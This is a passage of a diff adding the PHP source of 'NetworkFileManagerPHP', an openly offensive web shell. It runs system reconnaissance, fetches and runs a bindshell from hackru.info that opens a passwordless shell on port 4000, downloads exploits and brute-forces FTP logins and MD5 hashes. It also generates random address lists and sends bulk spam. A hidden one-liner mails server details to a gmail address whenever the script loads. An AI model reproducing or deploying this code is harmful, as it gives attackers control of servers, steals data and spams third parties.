+ Note: Run only from telnet session, not from web!!!
+
+";
+
+/* set full path to host and dir where private exploits and soft are situated */
+
+$private_site = "http://hackru.info/adm/exploits/private_exploits/";
+
+endif;
+
+
+
+$createdir= "files";
+
+
+
+/* spamer config */
+
+
+
+$sendemail = "packetstorm@km.ru";
+
+$confirmationemail = "packetstorm@km.ru";
+
+$mailsubject = "Hello!This is a test message!";
+
+
+
+
+
+
+
+/* !!!Warning: DO NOT CHANGE ANYTHING IF YOU DUNNO WHAT ARE YOU DOING */
+
+global $action,$tm,$cm;
+
+
+
+function getdir() {
+
+ global $gdir,$gsub,$i,$j,$REMOTE_ADDR,$PHP_SELF;
+
+ $st = getcwd();
+
+ $st = str_replace("\\","/",$st);
+
+ $j = 0;
+
+ $gdir = array();
+
+ $gsub = array();
+
+ print(" ");
+
+ for ($i=0;$i<=(strlen($st)-1);$i++) {
+
+ if ($st[$i] != "/") {
+
+ $gdir[$j] = $gdir[$j].$st[$i];
+
+ $gsub[$j] = $gsub[$j].$st[$i];
+
+ } else {
+
+ $gdir[$j] = $gdir[$j]."/";
+
+ $gsub[$j] = $gsub[$j]."/";
+
+ $gdir[$j+1] = $gdir[$j];
+
+ $j++;
+
+ }
+
+ }
+
+
+ print(" Current directory: ");
+
+ for ($i = 0;$i<=$j;$i++) print("$gsub[$i] ");
+
+ $free = tinhbyte(diskfreespace("./"));
+
+ print(" Current disk free space : $free ");
+
+ print(" ".exec("uname -a")." ");
+
+ print(" ".exec("cat /proc/cpuinfo | grep GHz")." Real speed of ".exec("cat /proc/cpuinfo | grep MHz")." ");
+
+ print(" Perhaps release is : ".exec("cat /etc/redhat-release")." ");
+
+ print(" ".exec("id")." ".exec("who")." ");
+
+ print(" Your IP: $REMOTE_ADDR $HTTP_X_FORWARDED_FOR
");
+
+
+}
+
+function tinhbyte($filesize) {
+
+ if($filesize >= 1073741824) { $filesize = round($filesize / 1073741824 * 100) / 100 . " GB"; }
+
+ elseif($filesize >= 1048576) { $filesize = round($filesize / 1048576 * 100) / 100 . " MB"; }
+
+ elseif($filesize >= 1024) { $filesize = round($filesize / 1024 * 100) / 100 . " KB"; }
+
+ else { $filesize = $filesize . ""; }
+
+ return $filesize;
+
+}
+
+
+
+function permissions($mode) {
+
+ $perms = ($mode & 00400) ? "r" : "-";
+
+ $perms .= ($mode & 00200) ? "w" : "-";
+
+ $perms .= ($mode & 00100) ? "x" : "-";
+
+ $perms .= ($mode & 00040) ? "r" : "-";
+
+ $perms .= ($mode & 00020) ? "w" : "-";
+
+ $perms .= ($mode & 00010) ? "x" : "-";
+
+ $perms .= ($mode & 00004) ? "r" : "-";
+
+ $perms .= ($mode & 00002) ? "w" : "-";
+
+ $perms .= ($mode & 00001) ? "x" : "-";
+
+ return $perms;
+
+}
+
+
+
+function readdirdata($dir) {
+
+ global $action,$files,$dirs,$tm,$supsub,$thum,$style3,$style4,$PHP_SELF;
+
+ $files = array();
+
+ $dirs= array();
+
+ $open = @opendir($dir);
+
+
+
+ if (!@readdir($open) or !$open ) echo "";
+
+ else {
+
+ $open = opendir($dir);
+
+ while ($file = readdir($open)) {
+
+ $rec = $file;
+
+ $file = $dir."/".$file;
+
+ if (is_file($file)) $files[] = $rec;
+
+ }
+
+ sort($files);
+
+ $open = opendir($dir);
+
+ $i=0;
+
+ while ($dire = readdir($open)) {
+
+ if ( $dire != "." ) {
+
+ $rec = $dire;
+
+ $dire = $dir."/".$dire;
+
+ if (is_dir($dire)) {
+
+ $dirs[] = $rec;
+
+ $i++;
+
+ }
+
+ }
+
+ }
+
+ sort($dirs);
+
+ print("Name Size Date of creation Type Access rights Comments
");
+
+ for ($i=0;$i
+
+
+
+ Upload
+
+ Delete
+
+
+
+
+
+ Create directory
+
+ Directory compression
+
+
";
+
+ else $action = "";
+
+ print("$name $size $time $type $perm $action
");
+
+ }
+
+ }
+
+ for ($i=0;$i
+
+ View
+
+ Download
+
+ To e-mail
+
+ Copy
+
+
";
+
+ if ( $perm[7] == "w" ) $act .= "";
+
+ print("$files[$i] $size $time $type $perm $act
");
+
+ }
+
+ }
+
+}
+
+
+
+function html() {
+
+global $ver,$meta,$style;
+
+echo "
+
+
+
+
+
+NetworkFileManagerPHP
+
+
+
+
+
+";
+
+}
+
+
+
+# file view
+
+function viewfile($dir,$file) {
+
+
+
+ $buf = explode(".", $file);
+
+ $ext = $buf[sizeof($buf)-1];
+
+ $ext = strtolower($ext);
+
+ $dir = str_replace("\\","/",$dir);
+
+ $fullpath = $dir."/".$file;
+
+
+
+ switch ($ext) {
+
+ case "jpg":
+
+
+
+ header("Content-type: image/jpeg");
+
+ readfile($fullpath);
+
+ break;
+
+ case "jpeg":
+
+
+
+ header("Content-type: image/jpeg");
+
+ readfile($fullpath);
+
+ break;
+
+ case "gif":
+
+
+
+ header("Content-type: image/gif");
+
+ readfile($fullpath);
+
+ break;
+
+
+
+ case "png":
+
+
+
+ header("Content-type: image/png");
+
+ readfile($fullpath);
+
+ break;
+
+ default:
+
+
+
+ case "avi":
+
+ header("Content-type: video/avi");
+
+ readfile($fullpath);
+
+
+
+ break;
+
+ default:
+
+
+
+ case "mpeg":
+
+ header("Content-type: video/mpeg");
+
+ readfile($fullpath);
+
+ break;
+
+ default:
+
+
+
+ case "mpg":
+
+ header("Content-type: video/mpg");
+
+ readfile($fullpath);
+
+ break;
+
+ default:
+
+
+
+ html();
+
+ chdir($dir);
+
+ getdir();
+
+
+
+ echo "Path to filename: $fullpath
";
+
+ $fp = fopen($fullpath , "r");
+
+ while (!feof($fp)) {
+
+ $char = fgetc($fp);
+
+ $st .= $char;
+
+ }
+
+
+
+ $st = str_replace("&", "&", $st);
+
+ $st = str_replace("<", "<", $st);
+
+ $st = str_replace(">", ">", $st);
+
+
+
+ $tem = "$st
";
+
+ echo $tem;
+
+ fclose($fp);
+
+ break;
+
+ }
+
+}
+
+
+
+# send file to mail
+
+function download_mail($dir,$file) {
+
+ global $action,$tm,$cm,$demail, $REMOTE_ADDR, $HTTP_HOST, $PATH_TRANSLATED;
+
+ $buf = explode(".", $file);
+
+ $dir = str_replace("\\","/",$dir);
+
+ $fullpath = $dir."/".$file;
+
+ $size = tinhbyte(filesize($fullpath));
+
+ $fp = fopen($fullpath, "rb");
+
+ while(!feof($fp))
+
+
+
+ $attachment .= fread($fp, 4096);
+
+ $attachment = base64_encode($attachment);
+
+ $subject = "NetworkFileManagerPHP ($file)";
+
+
+
+ $boundary = uniqid("NextPart_");
+
+ $headers = "From: $demail\nContent-type: multipart/mixed; boundary=\"$boundary\"";
+
+
+
+ $info = "---==== Message from ($demail)====---\n\n";
+
+ $info .= "IP:\t$REMOTE_ADDR\n";
+
+ $info .= "HOST:\t$HTTP_HOST\n";
+
+ $info .= "URL:\t$HTTP_REFERER\n";
+
+ $info .= "DOC_ROOT:\t$PATH_TRANSLATED\n";
+
+ $info .="--$boundary\nContent-type: text/plain; charset=iso-8859-1\nContent-transfer-encoding: 8bit\n\n\n\n--$boundary\nContent-type: application/octet-stream; name=$file \nContent-disposition: inline; filename=$file \nContent-transfer-encoding: base64\n\n$attachment\n\n--$boundary--";
+
+
+
+ $send_to = "$demail";
+
+
+
+ $send = mail($send_to, $subject, $info, $headers);
+
+
+
+ if($send == 2)
+
+ echo "
+
+
+
+
+
+ Thank you!!!File $file was successfully sent to $demail .
";
+
+
+
+fclose($fp);
+
+ }
+
+
+
+
+
+
+
+function copyfile($dir,$file) {
+
+ global $action,$tm;
+
+ $fullpath = $dir."/".$file;
+
+ echo "Filename : $file copied successfully to $dir
";
+
+ if (!copy($file, $file.'.bak')){
+
+ echo (" unable to copy file $file");
+
+ }
+
+}
+
+
+
+
+
+# file edit
+
+function editfile($dir,$file) {
+
+ global $action,$datar;
+
+ $fullpath = $dir."/".$file;
+
+ chdir($dir);
+
+ getdir();
+
+ echo " ";
+
+ $fp = fopen($fullpath , "r");
+
+ while (!feof($fp)) {
+
+ $char = fgetc($fp);
+
+ $st .= $char;
+
+ }
+
+ $st = str_replace("&", "&", $st);
+
+ $st = str_replace("<", "<", $st);
+
+ $st = str_replace(">", ">", $st);
+
+ $st = str_replace('"', """, $st);
+
+ echo "$st
";
+
+ $datar = $S1;
+
+
+
+}
+
+
+
+# file write
+
+function savefile($dir,$file) {
+
+ global $action,$S1,$tm;
+
+ $fullpath = $dir."/".$file;
+
+ $fp = fopen($fullpath, "w");
+
+ $S1 = stripslashes($S1);
+
+ fwrite($fp,$S1);
+
+ fclose($fp);
+
+ chdir($dir);
+
+ echo "File $fullpath was saved successfully.
";
+
+ getdir();
+
+ readdirdata($tm);
+
+}
+
+
+
+# directory delete
+
+function deletef($dir)
+
+{
+
+ global $action,$tm,$fi;
+
+ $tm = str_replace("\\\\","/",$tm);
+
+ $link = $tm."/".$fi;
+
+ unlink($link);
+
+ chdir($tm);
+
+ getdir();
+
+ readdirdata($tm);
+
+}
+
+
+
+# file upload
+
+function uploadtem() {
+
+ global $file,$tm,$thum,$PHP_SELF,$dir,$style_button;
+
+ echo " ";
+
+}
+
+
+
+function upload() {
+
+ global $HTTP_POST_FILES,$tm;
+
+ echo $set;
+
+ copy($HTTP_POST_FILES["userfile"][tmp_name], $tm."/".$HTTP_POST_FILES["userfile"][name]) or die("Unable to upload file".$HTTP_POST_FILES["userfile"][name]);
+
+ echo "File ".$HTTP_POST_FILES["userfile"][name]." was successfully uploaded.
";
+
+ @unlink($userfile);
+
+ chdir($tm);
+
+ getdir();
+
+ readdirdata($tm);
+
+}
+
+
+
+# get exploits
+
+function upload_exploits() {
+
+ global $PHP_SELF,$style_button, $public_site, $private_site, $public, $title_ex, $style_open, $private, $title_exp;
+
+
+
+ echo "
+
+ ";
+
+ echo "
+
+ ";
+
+ echo "
+
+ ";
+
+ echo "
+
+ ";
+
+
+
+ echo "
+
+ ";
+
+ echo "
+
+ ";
+
+ echo "
+
+ ";
+
+ echo "
+
+ ";
+
+ echo "
+
+ ";
+
+ echo "
+
+ ";
+
+ echo "
+
+ ";
+
+ echo "
+
+ ";
+
+}
+
+
+
+
+
+# new directory creation
+
+function newdir($dir) {
+
+ global $tm,$nd;
+
+ print(" ");
+
+}
+
+
+
+function cdir($dir) {
+
+ global $newd,$tm;
+
+ $fullpath = $dir."/".$newd;
+
+ if (file_exists($fullpath)) @rmdir($fullpath);
+
+ if (@mkdir($fullpath,0777)) {
+
+ echo " ";
+
+ } else {
+
+ echo "Error during directory creation.
";
+
+ }
+
+ chdir($tm);
+
+ getdir();
+
+ readdirdata($tm);
+
+}
+
+// creation of directory where exploits will be situated
+
+function downfiles() {
+
+ global $action,$status, $tm,$PHP_SELF,$HTTP_HOST, $file3, $file2, $gdir,$gsub,$i,$j,$REMOTE_ADDR;
+
+$st = getcwd();
+
+ $st = str_replace("\\","/",$st);
+
+ $j = 0;
+
+ $gdir = array();
+
+ $gsub = array();
+
+ print(" ");
+
+ for ($i=0;$i<=(strlen($st)-1);$i++) {
+
+ if ($st[$i] != "/") {
+
+ $gdir[$j] = $gdir[$j].$st[$i];
+
+ $gsub[$j] = $gsub[$j].$st[$i];
+
+ } else {
+
+ $gdir[$j] = $gdir[$j]."/";
+
+ $gsub[$j] = $gsub[$j]."/";
+
+ $gdir[$j+1] = $gdir[$j];
+
+ $j++;
+
+ }
+
+ }
+
+print(" Path: ");
+
+ for ($i = 0;$i<=$j;$i++) print("$gsub[$i] ");
+
+print("
");
+
+
+
+echo " ";
+
+
+
+}
+
+
+
+# directory delete
+
+function deldir() {
+
+ global $dd,$tm;
+
+ $fullpath = $tm."/".$dd;
+
+ echo "Directory was deleted successfully.
";
+
+ rmdir($fullpath);
+
+ chdir($tm);
+
+ getdir();
+
+ readdirdata($tm);
+
+}
+
+
+
+# directory compression
+
+function arhiv() {
+
+ global $tar,$tm,$pass;
+
+ $fullpath = $tm."/".$tar;
+
+
+
+ echo "
+
+
+
+ Directory $fullpath ".exec("tar -zc $fullpath -f $pass.tar.gz")."was compressed to file $pass.tar.gz
";
+
+
+
+}
+
+
+
+function down($dir) {
+
+ global $action,$status, $tm,$PHP_SELF,$HTTP_HOST, $file3, $file2;
+
+ ignore_user_abort(1);
+
+ set_time_limit(0);
+
+echo "
+
+File upload
+
+There are many cases, when host, where NFM is situated WGET is blocked. And you may need to upload files anyway. So here you can do it without wget, upload file to path where the NFM is, or to any path you enter (seePath ).(this works not everywhere)
+
+
";
+
+
+
+if (!isset($status)) downfiles();
+
+
+
+else
+
+{
+
+
+
+$data = @implode("", file($file3));
+
+$fp = @fopen($file2, "wb");
+
+@fputs($fp, $data);
+
+$ok = @fclose($fp);
+
+if($ok)
+
+{
+
+$size = filesize($file2)/1024;
+
+$sizef = sprintf("%.2f", $size);
+
+
+
+print "You have uploaded: file $file2 with size (".$sizef."kb)
";
+
+}
+
+else
+
+{
+
+print " ";
+
+}
+
+}
+
+}
+
+
+
+# mail function
+$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98");
+function mailsystem() {
+
+ global $status,$form,$action,$name,$email,$pole,$REMOTE_ADDR,$HTTP_REFERER,$DOCUMENT_ROOT,$PATH_TRANSLATED,$HTTP_HOST;
+
+
+
+ echo "
+
+Questions and wishes for NetworkFileManagerPHP
+
+
+
+During your work with script NetworkFileManagerPHP you may want to ask some quetions, or advice author to add some functions, which are not supported yet. Write them here, and your request will be sattisfied.
+
+
+
+
";
+
+
+
+ if (!isset($status)) echo "$form";
+
+ else {
+
+ $email_to ="duyt@yandex.ru";
+
+ $subject = "NetworkFileManagerPHP ($name)";
+
+ $headers = "From: $email";
+
+
+
+ $info = "---==== Message from ($name)====---\n\n";
+
+ $info .= "Name:\t$name\n";
+
+ $info .= "Email:\t$email\n";
+
+ $info .= "What?:\n\t$pole\n\n";
+
+ $info .= "IP:\t$REMOTE_ADDR\n";
+
+ $info .= "HOST:\t$HTTP_HOST\n";
+
+ $info .= "URL:\t$HTTP_REFERER\n";
+
+ $info .= "DOC_ROOT:\t$PATH_TRANSLATED\n";
+
+ $send_to = "$email_to";
+
+
+
+ $send = mail($send_to, $subject, $info, $headers);
+
+ if($send == 2) echo "Thank you!!!Your e-mail was sent successfully.
";
+
+ }
+
+}
+
+function spam() {
+global $chislo, $status, $from, $otvet, $wait, $subject, $body, $file, $check_box, $domen;
+set_time_limit(0);
+ignore_user_abort(1);
+echo "
+
+Real uniq spamer
+ Now, using this release of NFM you don't need to by spambases, because it will generate spambases by itself, with 50-60% valids.
+
";
+
+ echo "
+ ";
+// letters
+function s() {
+ $word="qwrtpsdfghklzxcvbnm";
+ return $word[mt_rand(0,strlen($word)-1)];
+}
+// letters
+function g() {
+ $word="eyuioa";
+ return $word[mt_rand(0,strlen($word)-2)];
+}
+// digits
+function c() {
+ $word="1234567890";
+ return $word[mt_rand(0,strlen($word)-3)];
+}
+// common
+function a() {
+ $word=array('wa','sa','da','qa','ra','ta','pa','fa','ga','ha','ja','ka','la','za','xa','ca','va','ba','na','ma');
+ $ab1=count($word);
+ return $wq=$word[mt_rand(0,$ab1-1)];
+}
+
+function o() {
+ $word=array('wo','so','do','qo','ro','to','po','fo','go','ho','jo','ko','lo','zo','xo','co','vo','bo','no','mo');
+ $ab2=count($word);
+ return $wq2=$word[mt_rand(0,$ab2-1)];
+}
+function e() {
+ $word=array('we','se','de','qe','re','te','pe','fe','ge','he','je','ke','le','ze','xe','ce','ve','be','ne','me');
+ $ab3=count($word);
+ return $wq3=$word[mt_rand(0,$ab3-1)];
+}
+
+function i() {
+ $word=array('wi','si','di','qi','ri','ti','pi','fi','gi','hi','ji','ki','li','zi','xi','ci','vi','bi','ni','mi');
+ $ab4=count($word);
+ return $wq4=$word[mt_rand(0,$ab4-1)];
+}
+function u() {
+ $word=array('wu','su','du','qu','ru','tu','pu','fu','gu','hu','ju','ku','lu','zu','xu','cu','vu','bu','nu','mu');
+ $ab5=count($word);
+ return $wq5=$word[mt_rand(0,$ab5-1)];
+}
+
+function name0() { return c().c().c().c(); }
+function name1() { return a().s(); }
+function name2() { return o().s(); }
+function name3() { return e().s(); }
+function name4() { return i().s(); }
+function name5() { return u().s(); }
+function name6() { return a().s().g(); }
+function name7() { return o().s().g(); }
+function name8() { return e().s().g(); }
+function name9() { return i().s().g(); }
+function name10() { return u().s().g(); }
+function name11() { return a().s().g().s(); }
+function name12() { return o().s().g().s(); }
+function name13() { return e().s().g().s(); }
+function name14() { return i().s().g().s(); }
+function name15() { return u().s().g().s(); }
+
+
+$cool=array(1,2,3,4,5,6,7,8,9,10,99,100,111,666,1978,1979,1980,1981,1982,1983,1984,1985,1986,1987,1988,1989,1990,1991,1992,1993,1994,1995,1996,1997,1998,1999,2000,2001,2002,2003,2004,2005);
+$domain1=array('mail.ru','hotmail.com','aol.com','yandex.ru','rambler.ru','bk.ru','pochta.ru','mail333.com','yahoo.com','lycos.com','eartlink.com');
+$d1c=count($domain1);
+
+function randword() {
+ global $cool,$cool2;
+ $func="name".mt_rand(0,15);
+ $func2="name".mt_rand(0,15);
+ switch (mt_rand(0,2)) {
+ case 0: return $func().$func2();
+ case 1: return $func().$cool[mt_rand(0,count($cool)-9)];
+ case 2: return $func();
+ default: return $func();
+ }
+ }
+
+if (@unlink("email.txt") < 0){
+echo "?????";
+exit;
+}
+$file="email.txt";
+
+
+if($chislo){
+
+
+ $cnt3=mt_rand($chislo,$chislo);
+ for ($i=0; $i<$cnt3; $i++) {
+ $u=randword();
+ if(!isset($check_box)){
+
+ if ( IsSet($_POST["domen"]) && sizeof($_POST["domen"]) > 0 )
+{
+ $domen = $_POST["domen"];
+ foreach( $domen as $k=>$v )
+ {
+ $d=$domen[mt_rand(0,$v-1)];
+
+ }
+}
+$f=@fopen(email.".txt","a+");
+ fputs($f,"$u@$d\n");
+ }else{
+
+ $d=$domain1[mt_rand(0,$d1c-1)];
+ $f=@fopen(email.".txt","a+");
+ fputs($f,"$u@$d\n");
+ }
+
+ }
+ $address = $file;
+ if (@file_exists($address)) {
+ if($changefile = @fopen ($address, "r")) {
+ $success = 1;
+ } else {
+ echo " File not found \"".$address."\" ! ";
+ }
+
+ if ($success == 1) {
+ echo "";
+ echo " ?????????? ????? $chislo email. ";
+ echo " ";
+ echo "";
+ while($line = @fgets($changefile,1024)) {
+ echo @trim(stripslashes($line))."\n";
+ }
+ echo"
";
+ }
+ }
+if (!isset($action)){
+ echo "
+ ";
+}
+}
+}
+
+function spam1() {
+ global $status, $from, $otvet, $wait, $subject, $body, $file, $chislo;
+ set_time_limit(0);
+ignore_user_abort(1);
+
+ echo "
+Send spam with current settings
+
";
+
+
+ error_reporting(63); if($from=="") { print
+"";exit;}
+ error_reporting(63); if($otvet=="") { print
+"";exit;}
+ error_reporting(63); if($wait=="") { print
+"";exit;}
+ error_reporting(63); if($subject=="") { print
+"";exit;}
+ error_reporting(63); if($body=="") { print
+"";exit;}
+
+ $address = "email.txt";
+ $counter = 0;
+ if (!isset($status)) echo "something goes wrong, check your settings";
+ else {
+ echo "
+
+ opening file \"".$address."\" ...
+";
+ if (@file_exists($address)) {
+ echo "
+ File \"".$address."\" was found...
+";
+ if($afile = @fopen ($address, "r")) {
+ echo "
+ File \"".$address."\" was opened for read...
+";
+ } else {
+ echo "
+ Unable to open \"".$address."\" for read...
+";
+ }
+ } else {
+ echo "There is no file \"".$address."\" ! ";
+ $status = "unable to find file \"".$address."\" ...";
+ }
+ echo "
+ Begining read from file \"".$address."\" ...
+
";
+ if (@file_exists($address)) {
+
+ while (!feof($afile)) {
+
+ $line = fgets($afile, 1024);
+ $line = trim($line);
+ $recipient = "";
+ $recipient = $line;
+
+#if ($file) {
+# $content = fread(fopen($file,"r"),filesize($file));
+# $content = chunk_split(base64_encode($content));
+# $name = basename($file);
+# } else {
+# $content ='';
+# }
+ $boundary = uniqid("NextPart_");
+
+ $header = "From: ".$from."\r\n";
+ $header .= "Reply-To: ".$otvet."\r\n";
+ $header .= "Errors-To: ".$otvet."\r\n";
+ $header .= "X-Mailer: MSOUTLOOK / ".phpversion()."\r\n";
+ $header .= "Content-Transfer-Encoding: 8bits\n";
+ $header .= "Content-Type: text/html; charset=\"windows-1251\"\n\n";
+ $header .= $body;
+ # $header .="--$boundary\nContent-type: text/html; charset=iso-8859-1\nContent-transfer-encoding: 8bit\n\n\n\n--$boundary\nContent-type: application/octet-stream; name=$file \nContent-disposition: inline; filename=$file \nContent-transfer-encoding: base64\n\n$content\n\n--$boundary--";
+
+
+ $pattern="#^[-!\#$%&\"*+\\./\d=?A-Z^_|'a-z{|}~]+";
+ $pattern.="@";
+ $pattern.="[-!\#$%&\"*+\\/\d=?A-Z^_|'a-z{|}~]+\.";
+ $pattern.="[-!\#$%&\"*+\\./\d=?A-Z^_|'a-z{|}~]+$#";
+
+ if($recipient != "")
+ {
+ if(preg_match($pattern,$recipient))
+ {
+ echo "
+
+ Sending mail to \"".$recipient."\" ...sent ";
+
+
+ if(@mail($recipient, stripslashes($subject), stripslashes($header))) {
+ $counter = $counter + 1;
+ echo "[\"".$counter."\"] ".date("H:i:s")."
";
+ } else {
+ echo "email is wrong, message was NOT sent !
";
+ }
+ } else {
+ $counter = $counter + 1;
+ echo "";
+ }
+ } else {
+ echo " ";
+ }
+ $sec = $wait * 1000000;
+ usleep($sec);
+
+ }
+
+ if($otvet != "")
+ {
+
+ if(preg_match($pattern,$otvet))
+ {
+ echo "
+ Sending test message to \"".$otvet."\" to check out";
+ $subject = "".$subject;
+
+ if(@mail($otvet, stripslashes($subject), stripslashes($message), stripslashes($header))) {
+ $counter = $counter + 1;
+ echo " message was sent... [\"".$counter."\"] ".date("H:i:s")."
";
+ } else {
+ echo "message was not sent...
";
+ }
+ } else {
+ echo "email is wrong.
";
+ }
+ } else {
+ }
+
+ if(@fclose ($afile)) {
+ echo "
+
+ File \"".$address."\" was closed successfully!
";
+ } else {
+ echo "
+
+ Unable to close \"".$address."\" file!
"; }
+ } else {
+ echo "unable to read file \"".$afile."\" ... ";
+ }
+
+ $status2 ="Status: ".$counter." messages were sent.";
+ echo " ";
+ echo "
+ ";
+
+}
+}
+
+
+# help
+
+function help() {
+
+ global $action,$REMOTE_ADDR,$HTTP_REFERER;
+
+ echo "
+
+
+
+help for scriptNetworkFileManagerPHP
+
+NetworkFileManagerPHP - script to access your host in a best way
+
+There were added some commands to NFM, from scripts kind of itself. They are:
+
+- Using aliases (Rush )
+
+- FTP bruteforce (TerraByte )
+
+- Translated to english by (revers )
+
+- Added some sysinfo commands by (revers )
+
+- All the rest code belongs to me (xoce )
+
+- Thanks for testing goes to all #hack.ru channel
+
+Warning, we wanted to show by this script, that admins have to protect their system better, then they do now. Jokes with apache config are not good... Pay more attention to configuration of your system.
+
+How can you find us:
+
+Irc server: irc.megik.net:6667 /join #hack.ru
+
+See you round at network!!!
";
+
+}
+
+
+
+
+
+function exploits($dir) {
+
+ global $action,$status, $file3,$file2,$tm,$PHP_SELF,$HTTP_HOST,$style_button, $public_site, $private_site, $private, $public, $title_ex, $title_exp;
+
+if (!isset($status)) upload_exploits();
+
+
+
+else
+
+{
+
+
+
+$data = implode("", file($file3));
+
+$fp = @fopen($file2, "wb");
+
+fputs($fp, $data);
+
+$ok = fclose($fp);
+
+if($ok)
+
+{
+
+$size = filesize($file2)/1024;
+
+$sizef = sprintf("%.2f", $size);
+
+print "".exec("chmod 777 $public[1]")."";
+
+print "".exec("chmod 777 $public[2]")."";
+
+print "".exec("chmod 777 $public[3]")."";
+
+print "".exec("chmod 777 $private[1]")."";
+
+print "".exec("chmod 777 $private[2]")."";
+
+print "".exec("chmod 777 $private[3]")."";
+
+print "".exec("chmod 777 $private[4]")."";
+
+print "".exec("chmod 777 $private[5]")."";
+
+print "".exec("chmod 777 $private[6]")."";
+
+print "".exec("chmod 777 $private[7]")."";
+
+print "".exec("chmod 777 $private[8]")."";
+
+
+
+print "You have uploaded: file with size (".$sizef."kb)
";
+
+}
+
+else
+
+{
+
+print "Some errors occured.";
+
+}
+
+}
+
+}
+
+
+
+
+
+# FTP-bruteforce
+
+function ftp() {
+
+ global $action, $ftp_server, $filename, $HTTP_HOST;
+
+ ignore_user_abort(1);
+
+ echo "FTP server: $ftp_server ";
+
+
+
+ $fpip = @fopen ($filename, "r");
+
+ if ($fpip) {
+
+ while (!feof ($fpip)) {
+
+ $buf = fgets($fpip, 100);
+
+ ereg("^([0-9a-zA-Z]{1,})\:",$buf,$g);
+
+ $conn_id=ftp_connect($ftp_server);
+
+ if (($conn_id) && (@ftp_login($conn_id, $g[1], $g[1]))) {
+
+
+
+ $f=@fopen($HTTP_HOST,"a+");
+
+ fputs($f,"$g[1]:$g[1]\n");
+
+ echo "Connected with login:password - ".$g[1].":".$g[1]."
";
+
+
+
+ ftp_close($conn_id);
+
+ fclose($f);
+
+ } else {
+
+ echo "".$g[1].":".$g[1]." - failed
";
+
+ }
+
+ }
+
+ }
+
+}
+
+
+
+function tar() {
+
+ global $action, $filename;
+
+ set_time_limit(0);
+
+ echo "
+
+
+
+Data compression
+
+According to the different settings of servers, I didn't make default config of NFM. You're to write full path to the domain's folder and then press enter, so all data, containing in this folder will be compressed to tar.gz.
+
+Warning! File passwd can have big size, so opening all users of this host can waste much time.
+
+It's highly recommended! Open current function in another window of browser, to compress information, which you're interested in, during your host exploring.
+
+
";
+
+
+
+$http_public="/public_html/";
+
+$fpip = @fopen ($filename, "r");
+
+if ($fpip) {
+
+ while (!feof ($fpip)) {
+
+ $buf = fgets($fpip, 100);
+
+ ereg("^([0-9a-zA-Z]{1,})\:",$buf,$g);
+
+ $name=$g[1];
+
+ echo "
+
+";
+
+ }
+
+ }
+
+}
+
+
+
+# bindshell
+
+function bash() {
+
+ global $action, $port_bind, $pass_key;
+
+
+
+echo "
+
+
+
+Binding shell
+
+ Current shell binds 4000 port, you may access to it by telneting to host:4000 port without password.
+
+
";
+
+
+
+echo "
+
+
+
+ Bindshell binary is situated in file calleds ";
+
+
+
+echo " ".exec("wget http://hackru.info/adm/exploits/bash/s")." Downloading... ";
+
+echo " ".exec("chmod 777 s")." now chmod to 777 ";
+
+echo " ".exec("./s")." now running to 4000 port ";
+
+# echo " ".exec("rm -f s")." Removing files now... ";
+
+echo"
";
+
+
+
+ }
+
+
+
+function crypte() {
+
+ global $action,$md5a,$sha1a,$crc32, $key,$string;
+
+echo "
+
+
+
+Data crypter
+
+Now there are many different programs and scripts, which uses a lot of passwords crypt methods (Do you remember what a phpBB is?=)), so with NFM you can crypt some strings to hashes, because sometimes you may need to change somebodyes data with your one =). Also you may change your pass to NFM here.
+
+
";
+
+
+
+echo "
+
+ ";
+
+ echo "
+
+ ";
+
+echo "
+
+ ";
+
+
+
+ }
+
+
+
+function decrypte() {
+
+ global $action,$pass_de,$chars_de,$dat,$date;
+
+set_time_limit(0);
+
+ignore_user_abort(1);
+
+
+
+echo "
+
+
+
+Data decrypter
+
+It's known all over the world, that MD5 crypt algorithm has no way to decrypt it, because it uses hashes. The one and only one way to try read what the hash is - to generate some hashes and then to compare them with source hash needed to be decrypted ... So this is bruteforce.
+
+
";
+
+
+
+if($chars_de==""){$chars_de="";}
+
+ echo "
+
+ ";
+
+
+
+
+
+if($_POST[pass_de]){
+
+$pass_de=htmlspecialchars($pass_de);
+
+$pass_de=stripslashes($pass_de);
+
+$dat=date("H:i:s");
+
+$date=date("d:m:Y");
+
+
+
+crack_md5();
+
+}
+
+}
+
+
+
+function crack_md5() {
+
+global $chars_de;
+
+$chars=$_POST[chars];
+
+set_time_limit(0);
+
+ignore_user_abort(1);
+
+$chars_de=str_replace("<",chr(60),$chars_de);
+
+$chars_de=str_replace(">",chr(62),$chars_de);
+
+$c=strlen($chars_de);
+
+for ($next = 0; $next <= 31; $next++) {
+
+for ($i1 = 0; $i1 <= $c; $i1++) {
+
+$word[1] = $chars_de{$i1};
+
+for ($i2 = 0; $i2 <= $c; $i2++) {
+
+$word[2] = $chars_de{$i2};
+
+if ($next <= 2) {
+
+result(implode($word));
+
+}else {
+
+for ($i3 = 0; $i3 <= $c; $i3++) {
+
+$word[3] = $chars_de{$i3};
+
+if ($next <= 3) {
+
+result(implode($word));
+
+}else {
+
+for ($i4 = 0; $i4 <= $c; $i4++) {
+
+$word[4] = $chars_de{$i4};
+
+if ($next <= 4) {
+
+result(implode($word));
+
+}else {
+
+for ($i5 = 0; $i5 <= $c; $i5++) {
+
+$word[5] = $chars_de{$i5};
+
+if ($next <= 5) {
+
+result(implode($word));
+
+}else {
+
+for ($i6 = 0; $i6 <= $c; $i6++) {
+
+$word[6] = $chars_de{$i6};
+
+if ($next <= 6) {
+
+result(implode($word));
+
+}else {
+
+for ($i7 = 0; $i7 <= $c; $i7++) {
+
+$word[7] = $chars_de{$i7};
+
+if ($next <= 7) {
+
+result(implode($word));
+
+}else {
+
+for ($i8 = 0; $i8 <= $c; $i8++) {
+
+$word[8] = $chars_de{$i8};
+
+if ($next <= 8) {
+
+result(implode($word));
+
+}else {
+
+for ($i9 = 0; $i9 <= $c; $i9++) {
+
+$word[9] = $chars_de{$i9};
+
+if ($next <= 9) {
+
+result(implode($word));
+
+}else {
+
+for ($i10 = 0; $i10 <= $c; $i10++) {
+
+$word[10] = $chars_de{$i10};
+
